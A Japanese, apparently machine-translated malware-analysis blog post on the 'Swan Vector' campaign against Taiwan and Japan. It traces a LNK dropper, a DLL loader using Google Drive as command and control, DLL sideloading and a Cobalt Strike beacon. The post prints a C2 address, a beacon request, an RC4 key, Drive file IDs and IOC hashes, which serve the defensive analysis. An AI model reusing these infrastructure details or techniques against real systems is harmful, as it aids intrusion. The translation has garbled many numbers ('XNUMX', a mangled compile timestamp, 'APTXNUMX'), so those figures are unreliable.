コンテンツ
- イントロダクション
- 初期調査結果。
- デコイを覗いてみる。
- 感染連鎖。
- テクニカル分析。
- ステージ 1 – 悪意のある LNK スクリプト。
- ステージ 2 – 悪意のある Pterois インプラント。
- ステージ 3 – 悪意のある Isurus インプラント。
- ステージ 4 – 悪意のある Cobalt Strike シェルコード。
- インフラと狩猟。
- 特定
- 結論
- Seqrite 保護。
- IOC
- MITRE ATT&CK。
イントロダクション
Seqrite Labs APT-Teamは最近、次のようなキャンペーンを発見しました。 白鳥ベクター台湾や日本など、東シナ海を挟んだ国々を標的とした攻撃キャンペーンです。教育機関や機械工学業界を標的とし、偽の応募者履歴書を偽装して偽装する詐欺行為が横行しています。
このキャンペーンに関係するマルウェアエコシステム全体は合計4つの段階から構成されており、最初の段階は 悪意のあるLNK第二段階ではショートカットファイルが実行される DLLインプラント Pterois 非常によく知られているLOLBinを介して実行されます。ステルス的な手法で第3段階を実行し、複数のファイルを含む正規のWindows実行ファイルをダウンロードします。このファイルは、さらに別のインプラントを実行するために使用されます。 イスラス DLLサイドローディングを介して、悪意のある第4段階が実行されます。 Cobalt Strike シェルコード Pterois によってダウンロードされました。
このブログでは、分析中に発見したキャンペーンの巧妙さを検証し、あらゆる技術的詳細を網羅します。複数のDLLインプラントへのショートカット（.LNK）ファイルの分析から始まり、シェルコードの分析、そして最終的な概要に至るまで、キャンペーンの様々な段階を検証します。
初期の調査結果
4月に私たちのチームは、次のような悪質なZIPファイルを発見しました。 歐買尬金流問題資料_20250413 (6).rar これは次のように翻訳できる ああ、なんてことだ、支払いフローの問題データ – 2025/04/13 (6) は、感染の初期ソースとして使用され、LNK や .PNG 拡張子のファイルなど、さまざまなファイルが含まれています。
ZIPには、次のような悪質なLNKファイルが含まれています。 詳細記載提領延遲問題及び相關交易紀錄.pdf.lnk。 これは次のように翻訳される。 「PDFへのショートカット：出金遅延問題および関連取引記録の詳細な文書.pdf.lnk」”は、Chen_YiChun.pngというPNGファイルに偽装されたDLLペイロードを実行します。このDLLは、非常によく知られたLOLBinであるRunDLL32.exeを介して実行され、さらに他のインプラントセットとおとりとなるPDFファイルをダウンロードします。
おとりを覗き込む
最初の DLL インプラント (別名 Pterois) は、最初は LOLBin 経由で実行されたため、基本的には Curriculum Vitae (CV 2025) のほぼ日本語訳を表す rirekisho2025 というおとりファイルがダウンロードされ、他のインプラントやバイナリとともに Temp ディレクトリ内に保存されていることがわかりました。 
最初のページには、令和5年4月形式の日付が記された日本の履歴書/職歴書「履歴書・職歴書」があります。この用紙には、氏名（氏名）、日付、性別（男/女）、生年月日、住所欄、メールアドレス（E-Mail）、連絡先電話番号などの個人情報を入力するための基本的なヘッダーセクションがあります。また、右上隅には写真のプレースホルダーボックスがあります。このおとり用紙は、学歴や職歴の詳細を入力するための行以外はほとんど空白のようです。注目すべきフィールドには、異なる年（月）、学位/資格レベル、雇用日などのエントリがあります。下部には、免許/資格と追加メモのセクションがあります。 
1 ページ目には、職歴エントリとして「職歴 2」と「職歴 XNUMX」というラベルが付いた XNUMX つの同じセクションがあります。各セクションには、会社名、役職、雇用日のフィールドと、大きなメモ セクションが含まれています。フィールドは、会社/組織名 (会社・団体名)、役職名、雇用日、仕事関連の詳細を入力するスペースを含む同様のレイアウトで配置されます。また、文書や資料に関する追加情報を示す赤字のセクションもあります（調査、調査料、ファイルなど）。 
3ページ目（最終ページ）には、職歴セクション「職歴XNUMX」がもうXNUMXつあります。このセクションは前のページと同じ構造で、会社名、役職、雇用期間、備考で構成されています。その下には、会社名、役職、雇用期間のフィールドが重複しているXNUMXつの職歴セクションがありますが、これらは前のセクションよりも簡潔にまとめられています。各セクションは、構造化された形式で雇用関連情報を要求するという、同じパターンを踏襲しています。次に、感染経路と技術的な分析について見ていきます。
感染連鎖。
テクニカル分析。
このキャンペーンの技術的機能を 4 つの異なる部分に分けて説明します。
ステージ 1 – 悪意のある LNK スクリプト。
ZIP には、詳細記載提領延遲問題及び相關交易紀錄.pdf.lnk として知られる悪意のある LNK ファイルが含まれており、これは出金遅延問題および関連取引記録の詳細な記録に変換されます。同じ LNK には、針對提領系統與客服流程的改進建議.pdf.lnk という別の名前もあります。 出金システムと顧客サービスプロセスの改善に関する提案LNKの作成日時は2025-03-04です。 
この悪意のあるLNKファイルの内容を分析したところ、その唯一の目的はLOLBinのインスタンスを生成することであることが判明しました。 rundll32.exeという悪意のあるDLLインプラントを実行するために使用されます。 プテロワインプラントのエクスポート関数 Trpo には興味深い引数 1LwalLoUdSinfGqYUx8vBCJ3Kqq_LCxIg があり、この引数がインプラントによってどのように活用されているかについては、この技術分析の後半で説明します。
ステージ 2 – 悪意のある Pterois インプラント。
最初に、悪意のある RAR アーカイブと悪意のある LNK ファイルを調べたところ、Chen_YiChun.png と呼ばれる .PNG 拡張子を持つ別のファイルが見つかりました。 
初期分析を行った結果、このファイルは基本的にDLLインプラントであることが分かり、次のように呼んでいます。 プテロワさて、このインプラントの技術的な側面を検討してみましょう。 
悪意のある LNK ファイルを分析したところ、この DLL ファイルのエクスポート関数 Trpo を実行するために rundll32.exe が使用されていることがわかりました。 
インプラントの機能を見てみると、2 つの主な機能があります。1 つ目は API ハッシュを実行することであり、2 つ目はマルウェアの次の段階をダウンロードするために使用されます。 
最初の関数は、NTDLL、UCRTBase、Kernel32 などの DLL やその他の必要なライブラリからのすべての API、および目的の機能に必要な API を解決する役割を担います。 
これは、まずプロセス環境ブロック（PEB）にアクセスして、ロードされたモジュールのリストを取得することで行われます。次に、コードはInMemoryOrderModuleListを使用してこのリストを走査します。このリストには、それぞれがロードされたDLLを表すLDR_DATA_TABLE_ENTRY構造体がリンクされています。各LDR_DATA_TABLE_ENTRY内では、BaseDllNameフィールド（UNICODE_STRING）にはDLLのファイル名（例：ntdll.dll）のみが保持され、DllBaseフィールドにはメモリ内のベースアドレスが格納されます。
トラバーサル中に、関数 BaseDllNameをANSI文字列に変換し、次のように正規化します。 大文字 結果の文字列の大文字と小文字を区別しないSDBMハッシュを計算します。この計算されたハッシュは、関数に渡されたターゲットハッシュと比較されます。一致が見つかった場合、対応するDLLのベースアドレスがDllBaseフィールドから取得され、返されます。 
DLLのベースアドレスが返されると、コードは同様の大文字と小文字を区別しないSDBMハッシュアルゴリズムを使用して、NTDLL.DLL内のAPI関数のアドレスを解決します。これは、DLLのエクスポートテーブルを解析し、次の式を計算することで行われます。 SDBMハッシュ エクスポートされた各関数名を取得し、それをターゲット ハッシュと比較して、一致する関数のアドレスを見つけます。 
これは、ハッシュを評価して実行する簡単なPythonスクリプトです。最初の関数では、合計4つの関数が解決されています。 
同様に、他の 32 つの動的リンク ライブラリ ucrtbase.dll と KernelXNUMX.dll の API も同じ方法で解決されています。 
次の一連の関数では、Iphlapi.dll、shell32.dll、WinHTTP.dllなどのDLLからAPIを解決しようとしますが、まずは前の関数と同様にDLLのベースアドレスを解決します。そして、そのアドレスが返されると、タイマーオブジェクトを用いて上記のDLLをロードするという、シンプルながらも疑似的な解析回避手法を用います。 
最初に RtlCreateTimerQueue を使用してタイマー オブジェクトを作成します。タイマー オブジェクトが作成されると、別の API RtlCreateTimer を使用してコールバック関数 (この場合は LoadLibraryW API) が実行され、DLL がロードされます。 
次に、GetModuleHandleW を使用して IPHLAPI.DLL へのハンドルを取得します。これが成功すると、RtlDeleteTimerQueue API を使用してタイマーオブジェクトを削除し、解放します。最後に、GetAdaptersInfo API をハッシュ経由で解決します。 
同様に、他のDLLも同様の方法でロードされます。次に、インプラントの後半部分、つまり次のステージャーのダウンロードを担う関数セットについて見ていきます。 
この関数は、最初に LOLBin と引数で構成されるコマンド ライン パラメータ全体を取得することから始まります。これは後で、基本的にハードコードされたファイル ID である 1LwalLoUdSinfGqYUx8vBCJ3Kqq_LCxIg に切り捨てられます。 
そして、悪用するテクニックを使う Googleドライブをコマンド＆コントロールサーバーとして利用する まず正当な方法で認証を確立し OAuth認証情報適切にフォーマットされた OAuth 交換を通じて有効なアクセス トークンを取得した後、Google Drive API を使用して、特定のハードコードされたファイル ID からファイルを取得します。ファイルには、悪意のある実行ファイル、DLL、構成ファイルなどが含まれており、C:\Windows\Temp 内の所定のパスにダウンロードされます。
次に、適切なContent-Typeヘッダーを「application/x-www-form-urlencoded」に設定し、リクエストがGoogleの認証サーバーによって正しく処理されるようにします。このやり取りの後、精密なJSON解析機能を実行し、cJSON_GetObjectItemを使用してGoogleのレスポンスから「access_token」フィールドを抽出します。メモリダンプを調べると、「ya29.a0AZYk」で始まる取得したOAuthトークンが明確に表示され、認証プロセスが成功したことが確認できます。このトークンは解析・抽出されると、慎重に保存され、その後GoogleドライブへのAPI呼び出しの承認に使用されます。これにより、インプラントはGoogleドライブからの正当なトラフィックを装いながら、追加のペイロードをダウンロードできるようになります。メモリから抽出された解析済みのJSONは以下のようになります。 
ファイルがダウンロードされると、このインプラントの別の部分が CreateThread を使用して、ダウンロードされたデコイやその他のファイルを生成します。 
最後に、これらのファイルがダウンロードされ、デコイが画面上に生成され、Pterois インプラントのタスクが完了します。 
さて、このインプラントの最後の部分は、すべてのタスクが完了すると、先に進んで実行することです 自己削除 痕跡を隠して発見される可能性を減らすためです。
自己削除ルーチンは、ファイルを削除する前に localhost に ping する cmd.exe プロセスを生成することで遅延実行手法を使用し、現在のプロセスが完了してファイル ハンドルを解放した後に削除が行われるようにします。
次に、この悪意のあるローダーによってダウンロードされた他の DLL インプラントを調べます。
ステージ 3 – 悪意のある Isurus インプラント。
以前のインプラントは合計4つのサンプルをダウンロードします。そのうちの1つは、PrintDialog.exeと呼ばれる正規のWindows署名バイナリです。 
さて、もう2025つのファイルPrintDialog.dllは、コンパイルタイムスタンプが04-08-03 02:59:XNUMX UTCであるもうXNUMXつのインプラントであり、ra.iniファイル内に存在するシェルコードコンテンツを実行する役割を担っており、非常によく知られている手法を悪用しています。 DLL サイドローディング PrintDialog.exe はパスを明示的に指定しないため、悪意のある DLL を現在のディレクトリに配置すると、Isurus と呼ばれるこのインプラントが悪意のあるタスクを実行します。 
エクスポート テーブルを見ると、悪意のあるインプラントがエクスポートするのは 2 つの関数のみであることがわかります。1 つは通常の DllEntryPoint であり、もう 1 つは悪意のある DllGetActivationFactory エクスポート関数です。 
エクスポート関数の内部を見ると、この Isurus がハッシュによる API 解決とシェルコードの抽出を実行し、シェルコードをメモリにロードして実行していることがわかります。 
インプラントは最初にAPIを解決するために、 PEBウォーキングテクニック、横断する プロセス環境ブロック（PEB） ntdll.dllやkernel32.dllなどの必要なDLLのベースアドレスを特定します。ターゲットDLLのベースアドレスが特定されると、インプラントは手動で解析を開始します。 PE（ポータブル実行可能ファイル） DLLのヘッダーを検索して ディレクトリテーブルのエクスポート. 
特定のAPIを解決するために、インプラントは ハッシュアルゴリズム – CRC32。 ローダーは、名前でエクスポートを検索する代わりに、エクスポート テーブル内の各関数名のハッシュを計算し、それをコードに埋め込まれた事前計算済みの定数と比較して、最終的にハッシュを解決します。 
さて、このインプラントがどのようにシェルコードを抽出してロードするかを見てみましょう。 
まず、CreateFileW APIを使用して既存のファイルra.iniを読み取り権限で開きます。次に、ハンドルを取得すると、GetFileSizeという別のAPIを使用してファイルのサイズを読み取ります。ファイルサイズが取得されると、ReadFile APIを介して処理されます。 
次に、ハードコードされた RC4 キー wquefbqw を使用してシェルコードが復号化され、返されます。 
シェルコードを抽出した後、システムコールベースの実行手法を用いてメモリ内で直接実行されます。この手法では、適切なシステムコール番号をEAXレジスタにロードし、低レベルのシステムコールを呼び出すことでメモリの割り当て、シェルコードの書き込み、メモリ保護の変更、そして最終的にシェルコードの実行までを行います。これらはすべて、高レベルのWindows API関数に依存することなく実行されます。このインプラントのPDBパスにも、その機能が示されています。
- C:\Users\test\source\repos\sysldr\x64\Release\weqfdqwefq.pdb
次のパートでは、悪意のあるシェルコードとその動作について詳しく見ていきます。
ステージ 4 – 悪意のある Cobalt Strike シェルコード。
ファイルを調べたところ、シェルコードが暗号化されていることがわかりました。次に、シンプルなPythonスクリプトを使って、そのキーを使ってシェルコードを復号しました。 
さらに、シェルコードを解析した結果、Cobalt Strikeベースのビーコンであることが判明しました。そこで、抽出した設定ファイルを以下に示します。 抽出されたビーコン構成:
プロセスインジェクションターゲット:
windir\syswow64\bootcfg.exe
windir\sysnative\bootcfg.exe
インフラストラクチャ情報:
hxxps://52.199.49.4:7284/jquery-3.3.1.min.js
hxxps://52.199.49.4:7284/jquery-3.3.2.min.js
リクエスト本文:
GET /jquery-3.3.1.min.js HTTP/1.1
ホスト: 52.199.49.4:7284
ユーザーエージェント: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML、Gecko など) Chrome/80.0.3987.122 Safari/537.36
受け入れ可能: text/html、application/xhtml+xml、application/xml;q=0.9、*/*;q=0.8
リファラー: http://code.jquery.com/
Accept-Encoding: gzip、deflate
Cookie: __cfduid=dT98nN_EYDF96RONtS1uMjE0IZIWy9GljNoWh6rXhEndZDFhNo_Ha4AmFQKcUn9C4ZUUqLTAI6-6HUu3jA-WcnuttiUnceIu3FbAlBPitw52PirDxM_nP460iXUlVqW6Lvv__Wr3k09xnyWZN4besu1gVlk3JWS2hX_yt5EioqY
接続: キープアライブ
キャッシュ制御: キャッシュなし
HTTP設定GETハッシュ:
52407f3c97939e9c8735462df5f7457d
HTTP設定POSTハッシュ:
7c48240b065248a8e23eb02a44bc910a
Cobalt Strikeは広範な文書化と攻撃的なセキュリティオペレーションにおける普及率の高さから、詳細な分析は不要と判断されました。しかしながら、抽出されたビーコン構成から、脅威アクターが今回のキャンペーンにおいて侵入ツールキットの一部としてCobalt Strikeを利用したことが確認されました。
インフラと狩猟。
インプラントのリバースエンジニアリング中に、脅威アクターがGoogleドライブをコマンドアンドコントロール（C2）フレームワークとして使用していたことが判明しました。これにより、機密性の高いAPIキーなど、多くの詳細情報が漏洩しました。また、関連するGmailアドレスや、脅威アクターが他のキャンペーンのためにスケジュールしていたインプラントのリストなど、脅威アクターのインフラストラクチャに関連する詳細情報も発見しました。これらのインプラントは、実環境では使用されていません。 脅威アクターの Google ドライブ アカウントに関連する情報: { “user”: { “kind”: “drive#user”, “displayName”: “Swsanavector56”, “photoLink”: “https://lh3.googleusercontent.com/a/ACg8ocKiv7cWvdPxivqyPdYB70M1QTLrTsWUb-QHii8yNv60kYx8eA=s64”, “me”: true, “permissionId”: “09484302754176848006”, “emailAddress”: “swsanavector42@gmail.com” }} Googleドライブ内で見つかったファイルのリスト
| ファイル名 | ファイルID | タイプ | サイズ | SHA-256ハッシュ |
| プリントダイアログ.exe | 14gFG2NsJ60CEDsRxE5aXvFN0Fs83YMMG | エグゼ | 123,032バイト | 7a942f65e8876aeec0a1372fcd4d53aa1f84d2279904b2b86c49d765e5a29d6f |
| プリントダイアログ.dll | 1VMrUQlxvKZZ-fRyQ8m3Ai8ZEhkzE3g5T | DLL | 108,032バイト | a9b33572237b100edf1d4c7b0a2071d68406e5931ab3957a962fcce4bfc2cc49 |
| ra.ini | 1JAXiUPz6kvzOlokDMDxDhA4ohidt094b | INI | 265,734バイト | 0f303988e5905dffc3202ad371c3d1a49bd3ea5e22da697031751a80e21a13a7 |
| りれきしょ2025.pdf | 17hO28MbwD2assMsmA47UJnNbKB2fpM_A | 796,062バイト | 8710683d2ec2d04449b821a85b6ccd6b5cb874414fd4684702f88972a9d4cfdd | |
| りれきしょ2021_01.pdf | 1LwalLoUdSinfGqYUx8vBCJ3Kqq_LCxIg | 796,062バイト | 8710683d2ec2d04449b821a85b6ccd6b5cb874414fd4684702f88972a9d4cfdd | |
| wbemcomn.dll | 1aY5oX6EIe4hfGD6QgAAzmCcwxM4DoLke | DLL | 181,760バイト | c7b9ae61046eed01651a72afe7a31de088056f1c1430b368b1acda0b58299e28 |
| svhost.exe | 1P8_PG2DGtLWA3q8F4XPy43GMLznZFtQv | エグゼ | 209,920バイト | e0c6f9abfc11911747a7533f3282e7ff0c10fc397129228621bcb3a51f5be980 |
| 0g9pglZr74.ini | 1UE7gNfUIuTRzgjIv188hRIZG3YNtbvkV | INI | 265,734バイト | 9fb57a4c6576a98003de6bf441e4306f72c83f783630286758f5b468abaa105d |
| KpEvjK3KG2.enc | 1RxJi1RZMhcF31F1lgQ9TJfXMuvSJkYQl | ENC | 265,734バイト | e86feaa258df14e3023c7a74b7733f0b568cc75092248bec77de723dba52dd12 |
| ログ プラットフォーム.dll | 1lZgq1ZNkK88eJsl6GlcvpzRuFlBgxEOF | DLL | 112,640バイト | 9df9bb3c13e4d20a83b0ac453e6a2908b77fc2bf841761b798b903efb2d0f4f7 |
| 0g9pglZr74.ini | 1ky1fEzC6v70U8-RbHBZG_i3YI79Ir8Og | INI | 265,734バイト | 9fb57a4c6576a98003de6bf441e4306f72c83f783630286758f5b468abaa105d |
| python310.dll | 1RuMLCJJ5hcFiVXbcg8kZK3giueWiVbTJ | DLL | 189,952バイト | e1b2d0396914f84d27ef780dd6fdd8bae653d721eea523f0ade8f45ac9a10faf |
| ra.ini | 13ooFQAYZ27Bx015UQG3qkHR293wlcL90 | INI | 265,734バイト | 777961d51eb92466ca4243fa32143520d49077a3f7c77a2fcbec183ebf975182 |
| pythonw.exe | 19n1ta4hyQguQQmR8C6SAsZuGNQF4-ddU | エグゼ | 97,000バイト | 040d121a3179f49cd3f33f4bc998bc8f78b7f560bfd93f279224d69e76a06e92 |
| python.xml | 1k4Q18FByEXW98Rr1CXyVVC-Kj8T0NBDW | XML | 1,526バイト | c8ed52278ec00a6fbc9697661db5ffbcbe19c5ab331b182f7fd0f9f7249b5896 |
| OneDriveFileLauncher.exe | 137tczdqf5R7RMRoOb9fI_YjZuncd_TUn | エグゼ | 392,760バイト | 7bf5e1f3e29beccca7f25d7660545161598befff88506d6e3648b7b438181a75 |
| wbemcomn.dll | 1xUPkhfaWIgYs5HSmxYPC_sZT4QKm_T7i | DLL | 181,760バイト | c7b9ae61046eed01651a72afe7a31de088056f1c1430b368b1acda0b58299e28 |
| 0g9pglZr74.ini | 1Ylpf9XVnztxeGk-joNw9df3b0Mv8wYU3 | INI | 265,734バイト | 9fb57a4c6576a98003de6bf441e4306f72c83f783630286758f5b468abaa105d |
| svhost.exe | 1wo1gZ9acixvy925lM6QAkz6Uaj6cRXxx | エグゼ | 209,920バイト | e0c6f9abfc11911747a7533f3282e7ff0c10fc397129228621bcb3a51f5be980 |
| Ⅲ | 1ZuzB7x0zzgz34eNhHp_TI3auPhHj8Xhc | フォルダ | – | – |
また、このホストアドレスは、Cobalt-StrikeがASNの下でホストされている場所で使用されていることも確認しました。 16509 IPの所在地が日本にあること。 
また、Google ドライブ C2 とは別に、Google マップ、YouTube、Apple ベースのサービスなどの複数のプラットフォームで、アカウントの作成やアクティビティの実行に Gmail アドレスが使用されていたことも判明しました。これらのアクティビティは現在削除されています。
帰属
脅威アクターの現在および将来の動機を分析する上で、アトリビューションは依然として重要な視点ですが、今回のキャンペーンでは、特にDLLサイドローディング手法に関して、類似した手口が見受けられました。以前、Winnti APTグループはこの手法を用いてPrintDialog.exeを悪用していました。さらに、10つ目のインプラントであるIsurusを調査したところ、Lazarusグループが使用するコードベースとの類似点がいくつか見つかりました。Lazarusグループは、脅威アクターのGoogle Driveアカウントにアップロードされていたwmiapsrv.exeに対してDLLサイドローディング手法を用いていました。さらに、Swan VectorとAPTXNUMXが最近日本と台湾で標的とした攻撃との間にも、いくつかの類似点が見つかりました。
これらの観察だけでは 具体的な帰属先を明示しない言語分析、インプラントの成熟度、その他の収集されたアーティファクトと組み合わせると、 この脅威の主体は東アジアの地圏にあると我々は考えている。 中程度の信頼度で。
結論.
分析と調査の結果、脅威の主体は 東アジア そしてそれ以来活動している 2024年12月 台湾と日本にまたがる複数の雇用関連組織を標的としています。脅威アクターは、ダウンローダー、シェルコードローダー、Cobalt Strikeなどで構成されるカスタム開発のインプラントを主要なツールとして利用しており、以下のような複数の回避手法を多用しています。 APIハッシュ、直接システムコール、関数コールバック、DLLサイドローディングと自己削除 ターゲットマシンにいかなる痕跡も残さないようにするためです。
脅威アクターは、今後のキャンペーンで予定されている上記のインプラントを使用して、次のようなアプリケーションに対してDLLサイドローディングを使用すると考えています。 Python、WMI パフォーマンス アダプター サービス、One Drive Launcher 実行ファイル CV ベースのデコイを使用して悪意のある Cobalt Strike ビーコンを実行します。
Seqrite 保護。
- プテロイス.S36007342。
- トロイの木馬.49524.GC
- トロイの木馬.49518.GC。
侵害の兆候（IOC）
デコイ（PDF）
| ファイル名 | SHA-256 |
| りれきしょ2021_01.pdf | 8710683d2ec2d04449b821a85b6ccd6b5cb874414fd4684702f88972a9d4cfdd |
| りれきしょ2025.pdf | 8710683d2ec2d04449b821a85b6ccd6b5cb874414fd4684702f88972a9d4cfdd |
IP/ドメイン
| IP |
| 52.199.49.4:7284 |
悪意のあるインプラント
| ファイル名 | SHA-256 |
| wbemcomn.dll | c7b9ae61046eed01651a72afe7a31de088056f1c1430b368b1acda0b58299e28 |
| ログ プラットフォーム.dll | 9df9bb3c13e4d20a83b0ac453e6a2908b77fc2bf841761b798b903efb2d0f4f7 |
| プリントダイアログ.dll | a9b33572237b100edf1d4c7b0a2071d68406e5931ab3957a962fcce4bfc2cc49 |
| python310.dll | e1b2d0396914f84d27ef780dd6fdd8bae653d721eea523f0ade8f45ac9a10faf |
| Chen_YiChun.png | de839d6c361c7527eeaa4979b301ac408352b5b7edeb354536bd50225f19cfa5 |
| 針對提領系統與客服流程の改進建議.pdf.lnk | 9c83faae850406df7dc991f335c049b0b6a64e12af4bf61d5fb7281ba889ca82 |
シェルコードやその他の疑わしいバイナリ
| ファイル名 | SHA-256 |
| 0g9pglZr74.ini | 9fb57a4c6576a98003de6bf441e4306f72c83f783630286758f5b468abaa105d |
| ra.ini | 0f303988e5905dffc3202ad371c3d1a49bd3ea5e22da697031751a80e21a13a7 |
| python.xml | c8ed52278ec00a6fbc9697661db5ffbcbe19c5ab331b182f7fd0f9f7249b5896 |
| KpEvjK3KG2.enc | e86feaa258df14e3023c7a74b7733f0b568cc75092248bec77de723dba52dd12 |
MITRE ATT&CK。
| 戦略 | テクニックID | 技名 | サブテクニックID | サブテクニック名 |
| 初期アクセス | T1566 | フィッシング詐欺 | T1566.001 | スピアフィッシング添付ファイル |
| 実行 | T1129 | 共有モジュール | ||
| 実行 | T1106 | ネイティブAPI | ||
| 実行 | T1204 | ユーザーの実行 | T1204.002 | 悪意のあるファイル |
| 固執 | T1574 | ハイジャック実行の流れ | T1574.001 | DLL サイドローディング |
| 権限昇格 | T1055 | プロセス射出 | T1055.003 | スレッド実行ハイジャック |
| 権限昇格 | T1055 | プロセス射出 | T1055.004 | 非同期プロシージャ呼び出し |
| 防衛回避 | T1218 | システムバイナリプロキシ実行 | T1218.011 | ランDLL32 |
| 防衛回避 | T1027 | 難読化されたファイルまたは情報 | T1027.007 | 動的API解決 |
| 防衛回避 | T1027 | 難読化されたファイルまたは情報 | T1027.012 | LNKアイコンの密輸 |
| 防衛回避 | T1027 | 難読化されたファイルまたは情報 | T1027.013 | 暗号化/エンコードされたファイル |
| 防衛回避 | T1070 | インジケーターの削除 | T1070.004 | ファイルの削除 |
| コマンドおよび制御 | T1102 | ウェブサービス |
